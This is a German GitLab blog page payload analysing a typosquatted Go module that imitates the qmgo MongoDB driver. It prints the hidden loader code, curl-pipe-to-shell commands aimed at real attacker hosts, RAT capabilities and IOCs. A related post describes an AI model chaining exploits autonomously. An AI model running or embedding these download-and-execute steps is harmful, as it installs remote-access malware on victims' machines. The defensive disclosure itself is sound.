[{"data":1,"prerenderedAt":769},["ShallowReactive",2],{"/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack":3,"navigation-de-de":32,"banner-de-de":435,"footer-de-de":445,"blog-post-authors-de-de-Michael Henriksen":650,"blog-related-posts-de-de-gitlab-catches-mongodb-go-module-supply-chain-attack":664,"blog-promotions-de-de":706,"next-steps-de-de":759},{"id":4,"title":5,"authorSlugs":6,"body":8,"categorySlug":9,"config":10,"content":14,"description":8,"extension":24,"isFeatured":11,"meta":25,"navigation":11,"path":26,"publishedDate":23,"seo":27,"stem":29,"tagSlugs":30,"__hash__":31},"blogPosts/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack.yml","Gitlab Catches Mongodb Go Module Supply Chain Attack",[7],"michael-henriksen",null,"security",{"featured":11,"template":12,"slug":13},true,"BlogPost","gitlab-catches-mongodb-go-module-supply-chain-attack",{"title":15,"description":16,"authors":17,"heroImage":19,"body":20,"category":9,"tags":21,"date":23},"GitLab entdeckt MongoDB Go-Modul Supply-Chain-Angriff","Erfahre, wie GitLab einen Supply-Chain-Angriff aufgedeckt hat, der Go-Entwickler(innen) durch gefälschte MongoDB-Treiber ins Visier nahm, die persistente Backdoor-Malware bereitstellen.",[18],"Michael Henriksen","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg","Software-Supply-Chain-Angriffe über bösartige Abhängigkeiten gehören weiterhin zu den bedeutendsten Sicherheitsbedrohungen für die moderne Softwareentwicklung. Die weit verbreitete Nutzung von Open-Source-Komponenten hat es Entwicklungsteams ermöglicht, Anwendungen schnell zu erstellen, aber auch die Angriffsfläche vergrößert.\nDas wachsende Ökosystem von Drittanbieter-Paketen bietet zahlreiche Möglichkeiten für Angreifer, Abhängigkeiten durch Techniken wie Typosquatting, Dependency Confusion und Paket-Impersonation auszunutzen, was es für Entwickler(innen) zunehmend schwieriger macht, legitime Pakete von bösartigen Nachahmungen zu unterscheiden.\nUm diese Herausforderung anzugehen, hat das Vulnerability Research Team von GitLab kürzlich ein automatisiertes Erkennungssystem entwickelt, das proaktiv bösartige Abhängigkeiten in Software-Supply-Chains identifizieren soll. Das System kombiniert mehrere Erkennungstechniken, die zusammenarbeiten:\n* Automatisierte Typosquatting-Erkennung, die verdächtige Namensmuster identifiziert\n* Semantische Code-Analyse, die potenziell bösartige Verhaltensweisen wie Netzwerkanfragen oder Befehlsausführungen kennzeichnet\n* KI-unterstütztes initiales Screening für fortgeschrittene Payload- und Verschleierungserkennung\nDieser mehrschichtige Ansatz wird vom Vulnerability Research Team verwendet, um kontinuierlich neu veröffentlichte Abhängigkeiten in wichtigen Ökosystemen zu scannen und frühzeitig vor Supply-Chain-Angriffen zu warnen.\nMit diesem Erkennungssystem hat GitLab kürzlich einen aktiven Typosquatting-Angriff in freier Wildbahn identifiziert, der ein bösartiges MongoDB Go-Modul nutzte. Im Folgenden finden sich Details zum Angriff und dazu, wie GitLab daran arbeitet, Supply Chains sicher zu halten.\n## Zusammenfassung: Ein MongoDB-Modul, mit dem etwas nicht stimmt\nUnser Erkennungssystem hat ein neu veröffentlichtes Go-Modul namens `github.com/qiniiu/qmgo` gemeldet, das das beliebte [MongoDB](https://www.mongodb.com/)-Modul `github.com/qiniu/qmgo` genau nachahmt. Das legitime Modul beschreibt sich selbst als „Der Go-Treiber für MongoDB\" und hat in der Go-Community an Bedeutung gewonnen.\nUm das bösartige Modul als legitim zu tarnen, verwendete der Bedrohungsakteur einen GitHub-Benutzernamen, der fast identisch mit dem des echten Moduls war, mit einer subtilen Änderung: Sie fügten ein „i\" hinzu (`qiniu` → `qiniiu`). Für den gelegentlichen Beobachter, der durch Suchergebnisse oder Auto-Vervollständigungs-Vorschläge scrollt, wäre dieser Unterschied sehr leicht zu übersehen.\nDer Code des neuen Moduls war eine funktionierende Kopie des legitimen `qmgo`-Moduls. Allerdings wurde bösartiger Code in die `NewClient`-Funktion in `client.go` eingefügt, eine Funktion, die Entwickler(innen) natürlich aufrufen würden, wenn sie ihre MongoDB-Verbindung initialisieren. Das Verbergen von bösartigem Code innerhalb einer Funktion machte die Payload weniger wahrscheinlich, während potenzieller Laufzeit-Sicherheitsanalysen ausgeführt zu werden, während sichergestellt wurde, dass sie bei normaler Nutzung in echten Anwendungen ausgeführt würde.\nNach der Meldung des bösartigen Moduls wurde es innerhalb von etwa 19 Stunden nach unserer ersten Meldung entfernt. Der Bedrohungsakteur passte sich jedoch schnell an und veröffentlichte nur vier Tage später eine zweite Typosquatting-Version (`github.com/qiiniu/qmgo`) mit identischem bösartigem Code. Dieser Folgeangriff wurde ebenfalls erkannt und etwa eine Stunde nach der ersten Entdeckung entfernt. Die schnelle Neubereitstellung zeigt die Hartnäckigkeit dieser Angriffe und unterstreicht, warum proaktive Erkennung entscheidend ist, um Expositionsfenster zu minimieren.\n## Technische Tiefenanalyse: Die Schichten abziehen\nDer Bedrohungsakteur unternahm Schritte, um den Angriff zu verbergen. Die bösartige Payload verwendete einen mehrschichtigen Ansatz, beginnend mit einem kompakten Code-Snippet, das eine Kette von Remote-Payload-Downloads auslöste:\n```go\ntxt, err := script.Get(\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\").String()\nif err == nil {\n    txt2, err := script.Get(string(strings.Replace(txt, \"\\n\", \"\", -1))).String()\n    if err == nil {\n        exec.Command(\"/bin/sh\", \"-c\", string(txt2)).Start()\n    }\n}\n```\nDer Angriff entfaltet sich in vier verschiedenen Schichten:\n**Schicht 1:** Der Code holt `update.html` aus einem anderen Repository, das dem Typosquat-Konto `qiiniu/vue-element-admin` gehört. Die Datei enthielt eine einzelne Zeile:\n```text\nhttps://img.googlex.cloud/seed.php\n```\n**Schicht 2:** Der Code holt dann `https://img.googlex.cloud/seed.php`, was einen einzelnen Shell-Befehl zurückgibt, der ausgeführt wird:\n```bash\ncurl -s http://207.148.110.29:80/logon61.gif|sh\n```\n**Schicht 3:** Der Befehl weist das System an, `http://207.148.110.29:80/logon61.gif` mit curl abzurufen und die Antwort als Shell-Skript auszuführen. Das Shell-Skript lädt eine scheinbare MP3-Datei (`chainelli.mp3`) nach `/tmp/vod` herunter, macht sie ausführbar, führt sie aus und löscht sie sofort:\n```bash\n#!/bin/sh\nrm -rf /tmp/vod\ncurl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod\nchmod 777 /tmp/vod\n/tmp/vod\nrm -rf /tmp/vod\n```\n**Schicht 4:** Die `chainelli.mp3`-Datei ist tatsächlich eine statisch gelinkte, gestrippte ELF Go-Binärdatei, die darauf ausgelegt ist, persistenten Remote-Zugriff herzustellen. Nach der Ausführung versucht die Malware, sich mit ihrem Command-and-Control-Server bei `ellipal.spoolsv.cyou` auf Port 443 (sowohl TCP als auch UDP) zu verbinden, wobei ein benutzerdefiniertes verschlüsseltes Kommunikationsprotokoll mit einem hartcodierten RSA-Schlüssel verwendet wird. Von dort aus bietet sie dem Bedrohungsakteur Remote-Administrationsfähigkeiten:\n* Vollständiger Remote-Shell-Zugriff und einmalige Befehlsausführung\n* Screenshot-Aufnahmen\n* SOCKS-Proxy-Funktionalität, um Verbindungen über die kompromittierte Maschine herzustellen\n* Konfigurierbares Schlafintervall zwischen Check-ins mit dem Command-and-Control-Server zur Vermeidung von Erkennung\n* Standard-Remote-Access-Trojaner-Funktionen wie Dateisystem-Browsing und Upload/Download\n## Es ist zurück (schon wieder)\nNur vier Tage nachdem GitLab das erste bösartige Modul gemeldet und seine Entfernung beobachtet hatte, erschien `github.com/qiiniu/qmgo` – die zweite Typosquatting-Version mit identischem bösartigem Code. Diese schnelle Neubereitstellung demonstriert die Hartnäckigkeit dieser Angriffe und zeigt, wie Bedrohungsakteure sich schnell an Takedown-Bemühungen anpassen.\n## GitLabs Ansatz: Nadeln im Heuhaufen finden\nDie anfängliche Entdeckung und Beständigkeit dieses Angriffs bestätigte unseren Ansatz zur proaktiven Abhängigkeitsüberwachung und Bedrohungserkennung. GitLabs Erkennungssystem kombiniert mehrere Techniken zur Identifizierung bösartiger Abhängigkeiten:\n**Typosquatting-Erkennung:** GitLab überwacht neu veröffentlichte Abhängigkeiten und sucht nach Paketen, die Anzeichen verschiedener Typosquatting-Strategien zeigen.\n**Semantische Heuristik:** Unser System analysiert Code statisch auf Muster wie Netzwerkanfragen, Befehlsausführungen und andere für bösartige Payloads typische Verhaltensweisen.\n**KI-unterstützte Analyse:** Ein [Large Language Model](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) führt die anfängliche Analyse der verdächtigen Teile des Codes durch, um uns zu helfen, offensichtliche Fehlalarme auszusortieren, komplexe Payloads zu erkennen und Verschleierungstechniken zu identifizieren, die verwendet werden, um bösartige Absichten zu verbergen.\n**Menschliche Überprüfung:** Ein Mensch erhält eine Warnung, um den Fund zu verifizieren und eine erweiterte Analyse durchzuführen.\n## Empfehlungen: Persistenten Supply-Chain-Bedrohungen voraus bleiben\nDieser Angriff unterstreicht die anhaltenden Herausforderungen bei der Sicherung von Software-Supply-Chains. Die mehrschichtige Verschleierung und schnelle Neubereitstellung nach dem Takedown zeigen, dass Bedrohungsakteure bereit sind, erheblichen Aufwand zu investieren, um beliebte Abhängigkeiten ins Visier zu nehmen.\nDer schnelle Wechsel zu neuen Typosquatting-Paketen nach unserer ersten Meldung hebt eine grundlegende Schwäche in den aktuellen Ökosystemen hervor: Paketmanager entfernen bösartige Abhängigkeiten normalerweise erst, nachdem sie veröffentlicht, entdeckt und von der Community gemeldet wurden. Dieser reaktive Ansatz hinterlässt ein gefährliches Zeitfenster, in dem Entwickler(innen) unwissentlich kompromittierte Pakete konsumieren können. Proaktive Überwachungs- und Erkennungssysteme wie das von GitLab entwickelte können helfen, diese Lücke zu schließen, indem sie Bedrohungen während des Veröffentlichungsprozesses selbst identifizieren.\nWir haben Indicators of Compromise (IOCs) im nächsten Abschnitt bereitgestellt, die in Überwachungssystemen verwendet werden können, um diese spezifische Kampagne zu erkennen.\n## Indicators of Compromise\n| IOC                                                                                             | Beschreibung                                                                     |\n| ----------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- |\n| `github.com/qiniiu/qmgo`                                                                        | Bösartiges Go-Modul                                                              |\n| `github.com/qiiniu/qmgo`                                                                        | Bösartiges Go-Modul                                                              |\n| `https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html` | Payload-Bereitstellungs-URL                                                      |\n| `https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html` | Payload-Bereitstellungs-URL                                                      |\n| `https://img.googlex.cloud/seed.php`                                                            | Payload-Bereitstellungs-URL                                                      |\n| `http://207.148.110.29:80/logon61.gif`                                                          | Payload-Bereitstellungs-URL                                                      |\n| `http://207.148.110.29:80/chainelli.mp3`                                                        | Payload-Bereitstellungs-URL                                                      |\n| `img.googlex.cloud`                                                                             | Payload-Bereitstellungs-Host                                                     |\n| `207.148.110.29`                                                                                | Payload-Bereitstellungs-Host                                                     |\n| `ellipal.spoolsv.cyou`                                                                          | Command & Control-Host                                                           |\n| `6ada952c592f286692c59028c5e0fc3fa589759f`                                                      | SHA-1-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware                 |\n| `8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c`                              | SHA-256-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware               |\n| `/tmp/vod`                                                                                      | Temporärer Download-Speicherort der chainelli.mp3 Remote-Administrations-Malware |\n## Wie GitLab hilft, die Software-Supply-Chain zu sichern\nBösartige Abhängigkeiten wie der MongoDB Go-Modul-Angriff zeigen, warum die Sicherung der Software-Supply-Chain mehr als nur CVE-Überwachung erfordert. GitLabs DevSecOps-Plattform umfasst [Application Security Testing](https://docs.gitlab.com/user/application_security/secure_your_application/)-Scanner wie Software Composition Analysis im Entwicklungslebenszyklus, die Teams helfen, verwundbare oder bösartige Pakete zu erkennen, bevor sie die Produktion erreichen.\nGepaart mit Forschungsbemühungen wie dieser zielt GitLab darauf ab, Entwickler(inne)n zu ermöglichen, Anwendungen zu erstellen, die von Anfang an sicher sind, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.\n## Zeitlinie\n* **2025-06-01T09:31:** GitLab meldet `github.com/qiniiu/qmgo` an Go Security\n* **2025-06-01T09:43:** GitLab meldet `github.com/qiniiu/qmgo` an GitHub\n* **2025-06-01T10:14:** GitLab meldet `ellipal.spoolsv.cyou` (`188.166.213.194`) an den IP-Block-Eigentümer\n* **2025-06-02T04:03:** Go Security entfernt `github.com/qiniiu/qmgo`\n* **2025-06-02T09:57:** Der IP-Block-Eigentümer sperrt `188.166.213.194`\n* **2025-06-03T09:15:** GitHub sperrt `github.com/qiniiu`\n* **2025-06-05T17:15:** GitLab meldet `github.com/qiiniu/qmgo` an Go Security\n* **2025-06-05T17:33:** GitLab meldet `github.com/qiiniu/qmgo` an GitHub\n* **2025-06-05T17:45:** Go Security entfernt `github.com/qiiniu/qmgo`\n* **2025-06-06T12:25:** GitHub sperrt `github.com/qiiniu`\n",[9,22],"product","2025-06-30","yml",{},"/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"noIndex":28,"title":15,"description":16,"ogDescription":16,"ogTitle":15},false,"de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",[9,22],"_c0slMyHoZVtzGaY7yjJjDRuHJHZfX7656FaGA9-08Y",{"data":33},{"logo":34,"freeTrial":39,"sales":44,"login":49,"items":54,"search":363,"minimal":398,"duo":416,"pricingDeployment":425},{"config":35},{"href":36,"dataGaName":37,"dataGaLocation":38},"/de-de/","gitlab logo","header",{"text":40,"config":41},"Kostenlose Testversion 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entdeckt Zero-Days schneller, als Teams reagieren können: So bereitet man die Pipeline vor","KI findet Schwachstellen schneller als Teams sie schließen können. Wie Pipeline-Enforcement, Triage-Automatisierung und KI-Remediation die Lücke schließen.",[670],"Omer Azaria","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-04-20","Anthropics [Mythos-Preview-Modell](https://red.anthropic.com/2026/mythos-preview/)\nhat kürzlich Tausende von Zero-Day-Schwachstellen in allen wichtigen\nBetriebssystemen und Webbrowsern identifiziert – darunter ein OpenBSD-Fehler,\nder 27 Jahre lang unentdeckt blieb. In Tests verknüpfte Mythos autonom vier\nSchwachstellen zu einem funktionierenden Browser-Exploit, der seine Sandbox\nverließ. Anthropic schränkt den Zugang zu Mythos ein, doch der Leiter der\noffensiven Cyber-Forschung des Unternehmens erwartet, dass vergleichbare\nWerkzeuge innerhalb von sechs bis zwölf Monaten in Angreiferhänden sein werden.\n\nDie Verteidigungsseite hat nicht Schritt gehalten. Ein Drittel der ausgenutzten\nCVEs im ersten Halbjahr 2025 zeigte Aktivität vor oder am Tag der Offenlegung\n– bevor die meisten Teams überhaupt wissen, dass es etwas zu patchen gibt. KI\nkomprimiert dieses Fenster weiter, beschleunigt Angreifer und überschwemmt\nTeams mit Whitehat-Meldungen schneller, als sie triagiert werden können.\nDefender-Werkzeuge haben sich verbessert, doch die meisten Unternehmen können\nsie nicht schnell genug operationalisieren, um die Lücke zwischen Entdeckung\nund Ausnutzung zu schließen.\n\nWenn das Fenster zwischen Offenlegung und Ausnutzung in Stunden gemessen wird,\nkann das Sicherheitsteam nicht die letzte Verteidigungslinie sein. Sicherheit\nmuss dort greifen, wo Code in das System eintritt: in der Pipeline, bei jedem\nMerge Request, durch Richtlinien durchgesetzt. Was automatisiert werden kann,\nsollte automatisiert werden. Was es nicht kann, muss schneller als heute den\nrichtigen Menschen erreichen.\n\n\n## Bekannte Schwachstellen übersteigen bereits die Remediation-Kapazitäten\n\nDer Engpass ist nicht die Erkennung – sondern das Handeln im erforderlichen\nUmfang auf Basis bereits bekannter Informationen. 60 % der\nSicherheitsverletzungen im Verizon DBIR 2025 betrafen die Ausnutzung bekannter\nSchwachstellen, für die bereits ein Patch verfügbar war. Teams konnten sie\nnicht rechtzeitig schließen.\n\nDer Rückstand war bereits vor Mythos untragbar. Entwicklungsteams verbringen\n[11 Stunden pro Monat mit der Behebung von Schwachstellen](https://about.gitlab.com/resources/developer-survey/)\nnach dem Release – statt neue Funktionen zu liefern. Über die Hälfte der\nUnternehmen hat mindestens eine internetexponierte Schwachstelle offen, und der\nmediane Zeitraum zur Schließung der Hälfte dieser Schwachstellen beträgt\n361 Tage. Ausnutzung dauert Stunden, Remediation dauert Monate.\n\nKI-gestützte Entwicklung vergrößert die Lücke – und Verantwortliche sind sich\ndessen bewusst. Bis Juni 2025 fügte KI-generierter Code über 10.000 neue\nSecurity-Findings pro Monat in Fortune-50-Repositories hinzu – ein zehnfacher\nAnstieg gegenüber sechs Monaten zuvor. Georgia Tech identifizierte im März 2026\n34 [CVEs mit nachweisbarem KI-Ursprung](https://research.gatech.edu/bad-vibes-ai-generated-code-vulnerable-researchers-warn),\ngegenüber 6 im Januar. Diese Zahl erfasst nur die Fälle, in denen die\nKI-Urheberschaft eindeutig nachweisbar ist. KI-Coding-Assistenten halluzinieren\nPaketnamen, greifen auf veraltete Muster zurück und kopieren unsichere Beispiele\naus Trainingsdaten. Mehr Code, mehr Abhängigkeiten und mehr Schwachstellen pro\nZeile werden schneller erzeugt, als Sicherheitsteams sie prüfen können.\n\nVerteidiger müssen sich ebenfalls frontier KI-Modelle zunutze machen – nicht\nals externe Werkzeuge, die nachträglich an den SDLC angedockt werden, sondern\nals integrale Bestandteile derselben Richtlinien, Freigaben und Audit-Trails\nwie der Rest des Teams.\n\n\n## Sicherheit im Tempo von KI-gestützter Entwicklung\n\nWenn eine kritische CVE bekannt wird: Wie schnell kann das Team bestätigen,\nwelche Projekte betroffen sind? Wie viele Werkzeugwechsel durchläuft ein Alert,\nbevor ein Entwickler mit der Behebung beginnen kann?\n\nTeams, die am meisten von KI profitieren, haben Richtlinien,\nDurchsetzungsmechanismen und Kontrollen bereits in ihre Entwicklungs-Workflows\neingebettet. KI verstärkt dieses Fundament. Sie ersetzt es nicht.\n\n**Durchsetzung am Punkt der Änderung.** Wenn Ausnutzungsfenster schrumpfen,\nmuss jede Codezeile, die in ein Repository eingeht, einen definierten\nKontrollsatz durchlaufen – keine separate Prüfung, in einem anderen Werkzeug,\ndurch ein anderes Team. Unternehmen benötigen die Möglichkeit,\nSicherheitsrichtlinien über alle Gruppen und Projekte hinweg durchzusetzen, mit\ndem Merge Request als Durchsetzungspunkt. Richtlinien einmal definiert, überall\nangewendet, Ausnahmen geprüft, genehmigt und protokolliert.\n\n**Einfache Probleme vor dem Merge Request abfangen.** Hardcodierte Secrets,\nbekannt-vulnerable Importe und veraltete API-Aufrufe können in der IDE markiert\nwerden, bevor ein Commit gepusht wird. Das Abfangen zum Zeitpunkt der\nErstellung bedeutet weniger Findings, die den MR blockieren – so dass\nReview-Zyklen für Findings reserviert bleiben, die komponentenübergreifenden\nKontext erfordern: Erreichbarkeit, Ausnutzbarkeit und architektonisches Risiko.\n\n**Triage standardmäßig automatisiert.** Sicherheit in jeden Merge Request\neinzubetten erzeugt ein Volumenproblem. Mehr Scans, mehr Findings, mehr Lärm\nerreicht Entwicklungsteams, die nicht geschult sind, eine erreichbare kritische\nSchwachstelle von einer theoretischen zu unterscheiden. KI muss\nFalse-Positive-Erkennung, Erreichbarkeit, Ausnutzbarkeitskontext und\nSchweregradbewertung übernehmen, bevor ein Entwickler das Finding sieht –\ndamit die Findings, die ihn erreichen, tatsächlich seine Zeit rechtfertigen.\n\n**Remediation wie jede andere Änderung verwaltet.** KI-gestützte Remediation\nkomprimiert den Zeitrahmen zum Schließen von Schwachstellen, aber jeder\ngenerierte Fix muss denselben Governance-Prozess durchlaufen wie eine\nmenschlich erstellte Änderung: Richtlinien erzwingen Scans, die richtigen\nPrüfer genehmigen, und Nachweise werden aufgezeichnet. GitLabs automatisierte\nRemediation schlägt jeden Fix in einem Merge Request mit einem Konfidenzwert\nvor. Der MR dokumentiert, welche Richtlinie angewendet wurde, welche Scans\ndurchgeführt wurden, was sie gefunden haben und wer genehmigt hat. Menschlich\nerstellter Code und KI-generierter Code durchlaufen denselben Prozess – mit\ndemselben Audit-Trail.\n\n\n## So sieht eine vorbereitete Pipeline aus\n\nEin Proof-of-Concept-Exploit für eine Schwachstelle in einem verbreiteten\nOpen-Source-Paket erscheint auf einer Security-Mailingliste. Es gibt noch keine\nCVE, keinen NVD-Eintrag und keine Scanner-Signatur. Das Sicherheitsteam erfährt\nes auf dem üblichen Weg: jemand teilt es in Slack.\n\nEin Security-Engineer fragt den Security-Agenten, ob das Paket verwendet wird,\nwelche Projekte betroffene Versionen haben und ob verwundbare Call-Pfade in der\nProduktion erreichbar sind. Der Agent prüft den Dependency-Graphen jedes\nProjekts, gleicht die betroffenen Versionen und Einstiegspunkte aus der Meldung\nab und gibt eine priorisierte Liste exponierter Projekte mit Details zur\nErreichbarkeit zurück. Eine manuelle Suche in Repositories oder das Warten auf\nein Scanner-Update entfällt. Die Frage „Sind wir betroffen?\" ist in Minuten\nbeantwortet.\n\nDer Engineer startet eine Remediation-Kampagne für alle exponierten Projekte.\nDer Remediation-Agent schlägt Fixes vor: Versions-Updates, wo ein gepatchtes\nRelease verfügbar ist, und Patches für verwundbare Call-Pfade, wo es keines\ngibt. Scan-Execution-Policies sind bereits für Projekte mit\nISO-27001-Zertifizierung aktiv. Der Engineer verschärft die Regeln, um Merges\nbei jedem Merge Request zu blockieren, der die betroffene Abhängigkeit einführt\noder beibehält. Eine Approval-Policy erfordert nun Security-Freigabe für jeden\nFix. Der erste vorgeschlagene Patch schlägt in der Pipeline fehl, weil ein\nIntegrationstest eine Regression aufdeckt. Der Agent überarbeitet den Patch auf\nBasis des Testergebnisses, der zweite Versuch besteht. Das Entwicklungsteam\nprüft die Änderungen, Security gibt unter der verschärften Richtlinie frei, und\nMerges erfolgen über die gesamte Kampagne hinweg.\n\nBeim nächsten Audit-Review legt das Sicherheitsteam einen Bericht vor, der\nzeigt, wie Richtlinien durchgesetzt und Risiken während der Kampagne reduziert\nwurden. Er enthält Scan-Ergebnisse, angewendete Richtlinien, Genehmiger und\nMerge-Zeitstempel für jeden MR in jedem betroffenen Projekt. Die Nachweise\nwurden automatisch während des Prozesses erzeugt – nicht im Nachhinein\nzusammengestellt.\n\n\n## Handlungsfelder jetzt identifizieren\n\nMythos existiert heute, und vergleichbare Modelle werden innerhalb eines Jahres\nin Angreiferhänden sein. Jeder Monat bis dahin ist eine Gelegenheit, die\nSoftware-Lieferkette zu stärken.\n\nDiese Fragen zeigen, wo die Pipeline steht:\n\n* Wie wird sichergestellt, dass Sicherheitsscans bei jedem Merge Request\n  durchgeführt werden – nicht nur in Projekten, in denen Teams sie konfiguriert\n  haben?\n\n* Wenn ein kompromittiertes Paket heute in den Dependency-Tree eingeht –\n  würde die Pipeline es vor dem Build abfangen?\n\n* Wenn ein Scanner ein kritisches Finding meldet: Wie viele Werkzeugwechsel\n  durchläuft es, bevor ein Entwickler mit der Behebung beginnt?\n\n* Wenn ein KI-Agent einen Code-Fix für eine Schwachstelle vorschlägt – welchen\n  Prozess durchläuft dieser Fix vor dem Erreichen der Produktion, und ist dieser\n  Prozess auditierbar?\n\n* Wenn Auditoren den Nachweis verlangen, dass eine bestimmte Richtlinie auf\n  eine bestimmte Änderung angewendet wurde – wie lange dauert die Bereitstellung?\n\nWo diese Fragen Lücken aufzeigen, empfiehlt sich gezielte Maßnahmen.\n[Mit einem GitLab Solutions Architect sprechen](https://about.gitlab.com/de-de/sales/)\n– zur Rolle von Security-Governance im Entwicklungs-Lifecycle.\n",[675,9,676],"AI/ML","DevSecOps platform",{"featured":11,"template":12,"slug":678},"prepare-your-pipeline-for-ai-discovered-zero-days",{"content":680,"config":692},{"title":681,"description":682,"authors":683,"heroImage":685,"date":686,"category":9,"tags":687,"body":691},"Schwachstellen-Rauschen mit Auto-Dismiss-Richtlinien gezielt reduzieren","Scanner-Rauschen reduzieren und relevante Schwachstellen priorisieren – mit Auto-Dismiss-Richtlinien in GitLab, mit Anwendungsfällen und Konfigurationen.",[684],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-03-25",[9,688,689,690,22],"tutorial","DevSecOps","features","Security-Scanner sind unverzichtbar – doch nicht jeder Fund erfordert eine Reaktion. Testcode, eingebettete Abhängigkeiten, generierte Dateien und bekannte False Positives erzeugen Rauschen, das die tatsächlich relevanten Schwachstellen überlagert. Durch das manuelle Schließen immer gleicher, irrelevanter Findings über Projekte und Pipelines hinweg entsteht repetitiver Aufwand im Security-Team. Die Folge: langsameres Triage, Alert-Fatigue und Reibung mit Entwicklungsteams – bis hin zu sinkender Akzeptanz des Security-Scannings selbst.\n\nMit den Auto-Dismiss-Richtlinien für Schwachstellen lassen sich Triage-Entscheidungen einmalig in Richtlinien festlegen und automatisch auf jede Pipeline des Standard-Branches anwenden. Kriterien werden anhand von Dateipfad, Verzeichnis oder Schwachstellen-Kennung (CVE, CWE) definiert, ein Abweisungsgrund festgelegt – und GitLab übernimmt den Rest.\n\n## Warum Auto-Dismiss?\n\nAuto-Dismiss-Richtlinien ermöglichen Security-Teams:\n\n- **Triage-Aufwand reduzieren**: Findings in Testcode, eingebetteten Abhängigkeiten und generierten Dateien werden automatisch abgewiesen.\n- **Entscheidungen organisationsweit durchsetzen**: Bekannte False Positives lassen sich zentral über die gesamte Organisation hinweg abweisen.\n- **Prüfnachweise sicherstellen**: Jeder automatisch abgewiesene Fund enthält einen dokumentierten Abweisungsgrund mit Verweis auf die auslösende Richtlinie.\n- **Datenbasis erhalten**: Im Gegensatz zu Scanner-Ausschlüssen verbleiben abgewiesene Schwachstellen im Report – Entscheidungen lassen sich bei veränderten Bedingungen jederzeit überprüfen.\n\n## So funktionieren Auto-Dismiss-Richtlinien\n\n1. **Richtlinie definieren**: In einer YAML-Richtliniendatei Abgleichkriterien (Dateipfad, Verzeichnis oder Kennung) und einen Abweisungsgrund festlegen.\n\n2. **Zusammenführen und aktivieren**: Richtlinie über **Secure > Policies > New policy > Vulnerability management policy** erstellen. Nach dem Merge des MR ist sie aktiv.\n\n3. **Pipeline ausführen**: Bei jeder Pipeline des Standard-Branches werden übereinstimmende Schwachstellen automatisch auf „Dismissed\" gesetzt und mit dem festgelegten Grund versehen. Pro Ausführung werden bis zu 1.000 Schwachstellen verarbeitet.\n\n4. **Ergebnis prüfen**: Den Vulnerability-Report nach Status „Dismissed\" filtern – so lässt sich nachvollziehen, welche Findings bereinigt wurden und ob die richtigen Einträge erfasst werden.\n\n## Anwendungsfälle mit einsatzbereiten Konfigurationen\n\nJedes Beispiel enthält eine Richtlinienkonfiguration, die direkt kopiert, angepasst und eingesetzt werden kann.\n\n### 1. Schwachstellen in Testcode abweisen\n\nSAST- und Dependency-Scanner melden hartcodierte Zugangsdaten, unsichere Fixtures und entwicklungsspezifische Abhängigkeiten in Testverzeichnissen. Diese stellen kein Produktionsrisiko dar.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss test code vulnerabilities\"\n    description: \"Auto-dismiss findings in test directories\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"test/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"tests/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"spec/**/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"__tests__/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: used_in_tests\n\n```\n\n### 2. Eingebetteten und Drittanbieter-Code abweisen\n\nSchwachstellen in `vendor/`, `third_party/` oder eingecheckten `node_modules` werden upstream verwaltet und sind für das eigene Team nicht direkt behebbar.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss vendored dependency findings\"\n    description: \"Findings in vendored code are managed upstream\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendor/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"third_party/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendored/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 3. Falsch-Positiv-CVEs abweisen\n\nBestimmte CVEs werden wiederholt gemeldet, gelten im eigenen Nutzungskontext aber als nicht zutreffend. Bisher wurden diese bei jedem Auftreten manuell abgewiesen. Die Beispiel-CVEs unten durch eigene ersetzen.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss known false positive CVEs\"\n    description: \"CVEs confirmed as false positives for our environment\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-44487\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2024-29041\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-26136\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: false_positive\n\n```\n\n### 4. Generierten und automatisch erstellten Code abweisen\n\nProtobuf-, gRPC-, OpenAPI-Generatoren und ORM-Scaffolding-Tools erzeugen Dateien mit gemeldeten Mustern, die vom eigenen Team nicht gepatcht werden können.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss generated code findings\"\n    description: \"Generated files are not authored by us\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"generated/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.pb.go\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.generated.*\"\n    actions:\n      - type: auto_dismiss\n        